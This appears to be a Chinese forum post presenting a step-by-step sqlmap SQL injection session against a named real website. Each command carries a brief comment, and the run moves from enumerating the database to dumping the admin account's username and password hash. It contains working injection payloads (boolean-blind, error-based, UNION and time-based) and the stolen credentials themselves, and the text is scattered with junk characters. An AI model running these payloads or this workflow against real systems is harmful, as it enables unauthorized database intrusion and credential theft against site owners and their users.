D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db) b9 K e8 a. S' v+ r: l
ms "Mysql" --current-user /* 注解：获取当前用户名称
/ _1 a+ S6 m0 a9 P- }/ o3 a+ m I, H sqlmap/0.9 - automatic SQL injection and database takeover tool
! A. Q2 P- o/ R- x; E( m& z http://sqlmap.sourceforge.net starting at: 16:53:54, y( M% q: y& G/ V7 w1 [( k) W
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as# F4 b0 {8 j" H5 i/ L
session file
! V* H3 F! _/ g& U( M5 u- h1 M[16:53:54] [INFO] resuming injection data from session file' B. y) n! F4 O3 T: D9 t
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file8 }( [# R' ]' E* n3 u4 c
[16:53:54] [INFO] testing connection to the target url- s Z( @- D, O- i& z% k6 {4 K5 l
sqlmap identified the following injection points with a total of 0 HTTP(s) reque& |5 J9 c& E2 @) S# N9 X: Z, K
sts:3 ~3 d+ W& t% ~$ M. O, b% _! p" s
---% e" y6 q$ l. l/ _* S) o: Q
Place: GET
2 s; a: U# ?$ d* w+ |' ^' YParameter: id. }! A5 w9 y+ w+ {
Type: boolean-based blind7 p$ a x9 Y1 s. m/ s2 @( a
Title: AND boolean-based blind - WHERE or HAVING clause8 H( S2 p3 E, v, k
Payload: id=276 AND 799=7996 ?& U1 K$ e7 p; w: z" [2 l/ w* n
Type: error-based
M5 i# ~% ?4 B R/ @0 Q Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
( l" w5 o1 P" r" |7 N n Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
/ i. [9 R6 y; n" P, A: m- k120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58. R' w: K, Z, k s
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
" G$ N& u5 ^: I& _2 K d Type: UNION query! W7 @, |; q d9 y' ~5 K" @
Title: MySQL UNION query (NULL) - 1 to 10 columns* `. ?" a; t$ t8 g; q
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR7 ?0 l5 i7 V- s
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),9 N; I5 x4 B, m
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#9 ~ \& Y! w- u' p6 W$ X
Type: AND/OR time-based blind: z, D; \5 ]+ `' _- Y R5 ^
Title: MySQL > 5.0.11 AND time-based blind
+ ^, D: e; J' a! f2 L* ` Payload: id=276 AND SLEEP(5)3 a3 }. d! ~9 A; M+ Q/ }% T
---3 }( J& X7 q; A& q ]9 _; G) S
[16:53:55] [INFO] the back-end DBMS is MySQL" M" R( n8 y J& _* y8 a) Q
web server operating system: Windows: X( ]" u, p( l5 V; p" B
web application technology: Apache 2.2.11, PHP 5.3.0
+ [8 y4 Y6 M. H8 Uback-end DBMS: MySQL 5.0
) k6 X8 B: i7 X7 R[16:53:55] [INFO] fetching current user
' E; ]5 @3 [6 ~0 Dcurrent user: 'root@localhost'
- d' o6 L0 I! } X( j- G$ K7 Q. b[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
5 ~$ s: ^; ?7 n2 `( u; H% M$ E2 xtput\www.wepost.com.hk' shutting down at: 16:53:58
& P# Y1 Q" @2 v. q! D5 h, P. B+ d5 I
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
" H3 L$ \) {3 q( E* Gms "Mysql" --current-db /*当前数据库
6 s7 ~ u. d( _0 ] sqlmap/0.9 - automatic SQL injection and database takeover tool
; }: f8 e% f5 s6 } http://sqlmap.sourceforge.net starting at: 16:54:16) y" k* i- {1 U% I" w9 t( b
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as0 i7 H0 Y" }0 I8 K" a- {
session file
J+ C* d) Z' o2 t[16:54:16] [INFO] resuming injection data from session file: H5 o- ]+ s* g- B7 _9 \* z$ Q
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
0 ^3 }1 B5 s+ ?! f+ g& R7 h[16:54:16] [INFO] testing connection to the target url
) f3 w- f! ~0 U, h9 j& X) @' jsqlmap identified the following injection points with a total of 0 HTTP(s) reque; r" c3 i1 T! `$ E. \( t8 v" _
sts:
; n: m- w: G' O, ^5 Q! ?; w---
9 N1 t/ X7 Z+ X4 `' D& f# uPlace: GET
$ N8 g8 f5 J- c1 \4 r. _Parameter: id
; `" l5 y: N+ P& c) U+ V' h5 N* S3 G Type: boolean-based blind0 m; K; P2 ^# [4 }( y0 b
Title: AND boolean-based blind - WHERE or HAVING clause% W1 x% a) m" `; W! A$ Q; Q
Payload: id=276 AND 799=799& M4 A, r! e$ |
Type: error-based
- C7 i: T$ {) Y, L2 ^1 G Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause, L% Q4 I9 @+ `3 l& p6 N
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,! P h0 [! A E7 V7 t
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
' ~ l& G' d" L+ s# g0 [),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
8 ?; A8 k) @* z7 A: @% ] Type: UNION query. d" o) j4 x! G
Title: MySQL UNION query (NULL) - 1 to 10 columns
Q% p" [9 W; r, K& w% A: } Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR. n% ~3 ]' N* {9 Q" W
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
* ]5 Y, v6 N; e) ^) }" M1 w; e/ c4 UCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#7 q7 y& n" j3 G% u, U* v4 F/ V
Type: AND/OR time-based blind) Z7 W& D6 d) h7 K3 v- V$ a, A( d
Title: MySQL > 5.0.11 AND time-based blind
% Y# G. F9 [& ]( k U# f7 W Payload: id=276 AND SLEEP(5)
( T, j7 n9 d4 e, M/ V0 @7 X---( o9 }# e& g3 J( o+ L4 b# h' X1 _
[16:54:17] [INFO] the back-end DBMS is MySQL0 O! D5 s- E; V0 r, w
web server operating system: Windows( a* z, C. y" {5 v w1 R
web application technology: Apache 2.2.11, PHP 5.3.0' e% Z o. r2 E1 O4 Q, s
back-end DBMS: MySQL 5.01 H: c* q6 ^! B9 S4 u. N. e4 K0 F
[16:54:17] [INFO] fetching current database
8 v/ v p/ B" Ycurrent database: 'wepost': p7 v0 ]0 g8 g( D+ v# Q$ y2 j
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou+ i6 s! ?1 a! c% i! S- f
tput\www.wepost.com.hk' shutting down at: 16:54:185 H5 P M$ u4 ~3 U9 S6 k
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db6 @# ^/ y M. ]' B
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
- i' e. ]" ]9 a" [ sqlmap/0.9 - automatic SQL injection and database takeover tool6 A4 V+ N' W; [1 Q3 c# n
http://sqlmap.sourceforge.net starting at: 16:55:25& T1 E7 g8 ?1 M/ S
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as+ d6 a9 d) l* p
session file
$ J& W* N* c# E0 s% \[16:55:25] [INFO] resuming injection data from session file5 l b& i$ O- ^8 L
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file* z! o3 L6 b' M
[16:55:25] [INFO] testing connection to the target url: X! C) @% C: D9 @- _0 b' u
sqlmap identified the following injection points with a total of 0 HTTP(s) reque* A. E1 ~6 d2 l. [$ ?
sts:
+ x. h# h7 L5 ^) M) w: h0 h---0 x5 K% p7 u V
Place: GET
" X9 c; ?. D! t1 T( q9 o9 I1 }$ AParameter: id4 v0 R0 b9 {; d( K1 K
Type: boolean-based blind$ \) R ~ Z+ o$ u4 _3 z4 \$ I
Title: AND boolean-based blind - WHERE or HAVING clause
3 C+ e9 z4 J8 |' K. H! f Payload: id=276 AND 799=799
! u/ C. v- D0 i9 \/ q" @+ [ Type: error-based9 Z6 J2 u! s' B! r! t
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
# {9 X9 W: ?3 R' W% z: |$ }: z Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
5 n0 {/ s8 S3 Y& H; ^' P/ A120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,588 J) o3 [% ~5 Y* b
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)9 W* `1 `: U5 m: s& e/ j
Type: UNION query
o2 ^* l6 O2 L+ E( v. F Title: MySQL UNION query (NULL) - 1 to 10 columns; ~% V0 l j$ @, o% Y
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR6 q5 R" [% ]( H, J- m8 i
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
& o. q' \5 Q# Z& j* F, m! rCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#) e' Y K3 O7 T7 N) x0 m
Type: AND/OR time-based blind [0 X* ~) e, h
Title: MySQL > 5.0.11 AND time-based blind
1 v7 T, Y- [& \$ K Payload: id=276 AND SLEEP(5)6 q; _, m: F4 h( S# z% D* d& ^: a- K: X
---
8 j6 ` F0 o1 w2 q+ N[16:55:26] [INFO] the back-end DBMS is MySQL/ N/ V& e: m F! c) n
web server operating system: Windows
( `2 q2 I! A* g% N2 bweb application technology: Apache 2.2.11, PHP 5.3.0
2 z) |$ K% @) q- gback-end DBMS: MySQL 5.0) n- G. j; R* y$ \
[16:55:26] [INFO] fetching tables for database 'wepost'& q' B" j8 ^! O$ M" e; Y
[16:55:27] [INFO] the SQL query used returns 6 entries- q3 W- o2 B* `) V. Q$ P8 Z, m: D( _
Database: wepost
7 A# [+ \: X( x1 r& Q# v" v[6 tables]3 c( _1 h- F, @) A, m1 K
+-------------+
o! C; F- ~- m| admin |
. X) w4 T* F4 z1 y| article |5 g$ ~5 \& y2 I5 y5 Y3 e; L7 k' Q
| contributor |/ O- x% i3 I1 y. c- X+ I2 @) A
| idea |; u5 A; R1 V7 k" A$ K/ k$ r$ h
| image |" M' _0 ?) R( x2 h0 e
| issue |6 T; }( r t5 R Z$ Z \
+-------------+
* @; e) _/ Q7 ]8 T7 F; m) w. E[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
$ E1 c' i- H O- h' ^. ~& y. j+ H' btput\www.wepost.com.hk' shutting down at: 16:55:33
' R8 F" S' @. i/ q/ ~; Y$ _3 V( m3 ]& S& t
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db, f/ p% d0 j. H8 `8 I. o9 L
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
) D7 I) ~5 G: `6 i sqlmap/0.9 - automatic SQL injection and database takeover tool# C4 f. n; O3 `) Z& z( s
http://sqlmap.sourceforge.net starting at: 16:56:061 d/ C& p- \, Q% V
sqlmap identified the following injection points with a total of 0 HTTP(s) reque. p) O4 i& I! x0 d( A
sts:$ w$ ~, d* k1 c1 I
---7 @3 Z0 w2 e! U# u) F8 v ?# L5 Y
Place: GET
& T7 ?* Z, R: G; H" \Parameter: id j' N/ m$ x7 A J* l
Type: boolean-based blind
& n7 l2 }; q$ `* p8 |- h+ W9 B Title: AND boolean-based blind - WHERE or HAVING clause H( t, |: I4 K2 L5 w9 e
Payload: id=276 AND 799=799
- f6 a1 {5 S. S* `. o1 h Type: error-based
- M' M* ]& a2 }: k: \, U Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause( a+ Y& t- u$ k% {
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
1 F- A' T3 E" e& t6 E; a/ c120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
% o5 o& P+ `! j ^3 i' }- `1 D),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
8 y: ^4 t# v/ x6 m. E# z* N Type: UNION query
( Z. N! p- o- c2 O$ p( t Title: MySQL UNION query (NULL) - 1 to 10 columns
0 d) L2 w) {5 W& T, x8 q$ v Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR1 x/ W" D4 x6 g5 b9 W$ V4 X
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),) R6 {6 B" W w9 _
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#. {; F6 v) Z e
Type: AND/OR time-based blind
5 m7 S4 K, j: M* s) J Title: MySQL > 5.0.11 AND time-based blind4 N" E! x6 Q/ N1 |3 q6 ^
Payload: id=276 AND SLEEP(5)
7 v$ w$ n2 B& T9 |" n* Q---* k/ h5 I9 W" o
web server operating system: Windows$ o5 E, A y" u! f9 {" p% N
web application technology: Apache 2.2.11, PHP 5.3.0
, I w- ~! ^! n' o. W( a4 a* p2 Kback-end DBMS: MySQL 5.0* W4 Z2 Q. D8 X Q9 f' K) }
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
7 G2 U1 D3 B) k) i1 F2 P' y; k0 hssion': wepost, wepost) E- A6 N4 K+ W# q8 `
Database: wepost
" m! N3 \+ `$ b! N/ uTable: admin n, @2 D0 z$ L4 ~8 [7 V
[4 columns]) @1 Z1 k" s4 T+ c4 i
+----------+-------------+. p* q D7 \4 P* X
| Column | Type |
1 F6 x4 T8 O6 J; J8 w+----------+-------------+$ r# n9 G/ Z7 l1 K
| id | int(11) |
% }0 u# V; l+ I| password | varchar(32) |% F b e: ^! [5 G" ^/ _9 j
| type | varchar(10) |
) q; A7 i1 V2 j o$ N# Q' K| userid | varchar(20) |: B: e" V- r. _. a% m% |
+----------+-------------+ H; n( L, r: s/ }; _; J
shutting down at: 16:56:19: @' u% L7 h) C: a/ V. G6 S |5 V
" `- R7 b+ R$ v9 X2 u/ HD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db, R: g0 i: M( Y: n
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
T5 q, A( ?+ o7 S' o sqlmap/0.9 - automatic SQL injection and database takeover tool& B( K4 s3 W) n" j* g6 w/ h) F
http://sqlmap.sourceforge.net starting at: 16:57:14
7 o- ]+ c2 N' _, P6 D1 nsqlmap identified the following injection points with a total of 0 HTTP(s) reque
" }+ i/ a" c# R4 U! J7 u# zsts:
& c5 T+ x: ^& j4 w, a--- o6 n3 f+ k+ W2 \! S( Z* K! k
Place: GET
9 e0 A i, v1 e1 A3 EParameter: id Q. r3 U+ g1 V8 O+ B
Type: boolean-based blind8 [& l& h2 c M; ?& k5 v8 R
Title: AND boolean-based blind - WHERE or HAVING clause
3 X& R2 z+ K3 o, t Payload: id=276 AND 799=799
: |6 U a5 w( I: f) x9 I3 R5 \ Type: error-based N! p1 y6 V) y# u& D ]
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
! w! p2 P& W9 D+ b Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
! b% M/ N4 E% F) m0 Y1 y120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
% v5 P6 h1 y D `7 R),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" k2 }8 ?! E- x
Type: UNION query
$ g& P- S% X8 F+ b6 d4 d Title: MySQL UNION query (NULL) - 1 to 10 columns
# g& J" R; L" m4 q+ e6 u Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
( g& s6 w( V& k0 W: K(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
$ D# m ]4 i) @7 ?5 pCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
% |1 K& V6 X8 g7 w" X7 M$ A3 ` Type: AND/OR time-based blind
$ U4 w; h# b& w" c r Title: MySQL > 5.0.11 AND time-based blind
; r2 i2 k. c2 ], s9 [# |7 }' a7 ` Payload: id=276 AND SLEEP(5)
4 j7 z' w) f* {& N---
% l8 q! S4 H9 A: }web server operating system: Windows# D! w e- D$ g' t
web application technology: Apache 2.2.11, PHP 5.3.0. e( ?) P4 W$ A
back-end DBMS: MySQL 5.0
$ Y) v% }1 b: C: a8 i8 `) |* Arecognized possible password hash values. do you want to use dictionary attack o
8 i0 @5 u- @: y" ~0 Q) yn retrieved table items? [Y/n/q] y
; G, f8 X+ ?8 C Cwhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]3 L& |3 e) |* N3 u7 [4 a+ F
do you want to use common password suffixes? (slow!) [y/N] y; \4 o9 I& n. ~! S" l* n6 {/ A
Database: wepost' ^. k( Q) p2 C0 d5 [; \" U8 M; C
Table: admin
0 g# n& Y$ V" c$ M/ ^4 x: W0 x5 j[1 entry]
& j/ {( j+ G, V+----------------------------------+------------+
+ j2 D# X& ~! [- E| password | userid |
4 x5 R5 `8 Z" b- _: P: X+----------------------------------+------------++ x" _2 }% V* d7 _" X' k6 q
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |/ Y& _+ [$ j# |/ m% R$ }$ F
+----------------------------------+------------+
( [; d+ C% T& x. c; g* H shutting down at: 16:58:14$ }; m D3 A( ?9 K
2 W, E# E* l/ o' \/ O) e- |6 MD:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对